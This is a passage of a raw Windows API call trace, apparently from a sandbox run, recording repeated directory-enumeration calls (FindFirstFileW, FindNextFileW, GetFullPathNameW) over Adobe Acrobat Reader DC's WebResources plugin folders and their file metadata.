ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig", cAlternateFileName="")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf", cAlternateFileName="")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fss", cAlternateFileName="")) returned 1 [0174.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="home", cAlternateFileName="")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-files", cAlternateFileName="")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pages-app", cAlternateFileName="PAGES-~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sample-files", cAlternateFileName="SAMPLE~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan-files", cAlternateFileName="SCAN-F~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 1 [0174.971] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0174.972] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edd20) returned 1 [0174.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edce0) returned 1 [0174.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0174.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account", lpFilePart=0x0) returned 0x6a [0174.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.975] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.975] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0174.975] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0174.975] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0174.975] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0174.975] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0174.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0174.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0174.975] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account", lpFilePart=0x0) returned 0x6a [0174.975] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.976] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.976] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0174.976] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0174.976] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0174.976] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0174.976] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0174.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0174.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0174.977] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css", lpFilePart=0x0) returned 0x6e [0174.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.981] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0174.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0174.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0174.982] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0174.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0174.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0174.982] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css", lpFilePart=0x0) returned 0x6e [0174.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 